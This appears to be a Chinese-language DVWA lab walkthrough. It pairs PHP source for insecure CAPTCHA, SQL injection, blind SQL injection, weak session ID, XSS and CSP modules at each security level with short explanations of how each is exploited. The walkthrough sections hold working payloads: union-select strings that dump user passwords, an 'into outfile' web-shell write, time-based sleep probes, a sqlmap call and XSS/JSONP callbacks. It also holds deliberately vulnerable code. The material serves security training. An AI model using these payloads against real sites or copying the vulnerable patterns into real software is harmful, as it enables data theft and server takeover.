// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) { //检查是否传参
$html .= "
You have not passed the CAPTCHA.
";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the end user
echo "Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for user
echo "Password Changed."; } else { // Ops. Password mismatch $html .= "
Both passwords must match."; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "
"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
The CAPTCHA was incorrect. Please try again.
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "Password Changed.
";
}
else {
// Feedback for the end user - failed!
echo "Either your current password is incorrect or the new passwords did not match.
Please try again.
";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原理:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
本质:用户输入的数据当作代码执行
SQL注入常规思路:
1、寻找注入点
2、通过注入点,尝试获取数据库相关基本信息
3、猜解数据库及其重要字段以及内容
4、通过用户信息,寻找后台登录
5、利用后台或连接的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限
手工注入常规思路:
1、判断是否存在注入以及注入类型(字符型/数字型)
2、猜解SQL查询语句中的字段数
3、确定显示的字段数以及字段顺序
4、获取当前数据库库名
5、获取数据库中的表名
6、获取数据库中的字段名
7、获取数据库中用户数据
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) { //从结果集中取得一行作为关联数组
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
'
,发现报错信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
1' and '1' = '1
>页面回显正常1' and '1' = '2
>页面回显报错1' order by 字段数 -- qwe
Unknown column '3' in 'order clause'
,由此判断页面字段数为21.1' union select 1,2 -- qwe
1.1' union select 1,database() -- qwe
1.1' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 -- qwe
1.1' union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1 -- qwe
1.1' union select 1,column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1 -- qwe
1.1' union select user,password from users -- qwe
1.1' union select 1,@@datadir -- qwe
E:\phpStudy\MySQL\data
1.1' union select 1,'' into outfile '../../WWW/camer.php' -- qwe
sqlmap.py -r 1.txt
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //过滤特殊符号
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) { //从结果集中取得一行作为关联数组
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
1 and 1=1
>回显正常1 and 1=2
>回显报错
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //控制数据显示
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原理:在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,总的来说就是在注入过程中,sql语句拼接执行后,数据不能回显到前端页面,需要一些方法和测试进行判断尝试
分类:
布尔盲注:
–布尔很明显Ture跟Flase,也就是说它只会根据你的注入信息返回Ture跟Flase,也就是没有之前的显错信息(没有回显点)
时间盲注:
–界面返回只用一种:Ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1' and sleep(5) -- qwe
>回显延迟1.1' and sleep(5) -- qwe
>回显不延迟1' and if(length(database())=1,sleep(5),1) -- qwe
1' and if(ascii(substr(database(),1,1))=1,sleep(5),1) -- qwe
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
//mysql_close();
}
?>
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原理:密码与证书等认证手段,一般仅仅用于登录(Login)的过程。当登陆完成后,用户访问网站的页面,不可能每次浏览器请求页面时都再使用密码认证一次。因此,当认证完成后。就需要替换一个对用户透明的凭证。这个凭证就是SessionID。
当用户登陆完成后,在服务器端就会创建一个新的会话(Session),会话中会保存用户的状态和相关信息。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。
SessionID一旦在生命周期内被窃取,就等同于账户失窃。同时由于SessionID是用户登录之后才持有的认证凭证,因此不需要进行密码破解。
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++; //session id自增
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time(); //时间戳
setcookie("dvwaSession", $cookie_value);
}
?>
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
原理::DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
Dom型XSS常见三种状态:
Document.write 在页面上面写内容
innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML
eval 把字符串当代码执行
<div class="vulnerable_code_area">
<p>Please choose a language:p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write(" + $decodeURI(lang) + "");
document.write("");
}
document.write("");
document.write("");
document.write("");
document.write("");
script>
select>
<input type="submit" value="Select" />
form>
div>
http://192.168.6.138/DVWA/vulnerabilities/xss_d/?default=
,拼接URL触发弹窗,说明存在XSS// Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "
代码审计:使用了白名单模式,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ,这里只是对 default 的变量进行了过滤
漏洞利用:可以使用&连接另一个自定义变量来绕过Security Level 【Impossible】
# Don't need to do anything, protction handled on the client side
?>
原理:跨站脚本攻击(XSS),使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo 'Hello '
. $_GET[ 'name' ] . '
';
}
?>
header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '
代码审计:只是简单的过滤了Security Level 【High】
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "Hello ${name}
";
}
?>
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); //把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
// Feedback for end user
echo "Hello ${name}
";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原理:嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户
本质:把用户输入的数据当作前端代码执行(核心执行JS代码)
特点:持久性攻击(数据存储数据库或者其他地方,访问触发)
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] ); //移除字符串两侧的字符
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) ); //剥去字符串中的 HTML 标签
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); //把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
// Sanitize name input
$name = str_replace( '
";
}
$page[ 'body' ] .= '
';
代码审计:从源代码中$headerCSP可以看出来,这里定义了几个受信任的站点,只能允许这几个站点的脚本才可以运行。
当然不看源代码,直接看http头部也是可以的。
漏洞利用:在源代码中也给我们了一个测试站点https://pastebin.com/raw/R570EE00
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
#
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
';
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
. DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
1+2+3+4+5=
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1)
,触发弹窗
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
原理:JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的
$page[ 'body' ] .= <<<EOF
EOF;
?>
代码审计:中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值
$page[ 'body' ] .= '';
?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}
代码审计:同样是"Invalid token."错误。
F12查看源码,发现token是引用外部medium.js文件生成。生成步骤:e=XX+获取"phrase"值+XX,经过反序函数do_something()生成
即token=XXsseccusXX
$page[ 'body' ] .= '';
?>
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M>2]|=s[M]<<R){l[i>>2]|=r<>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1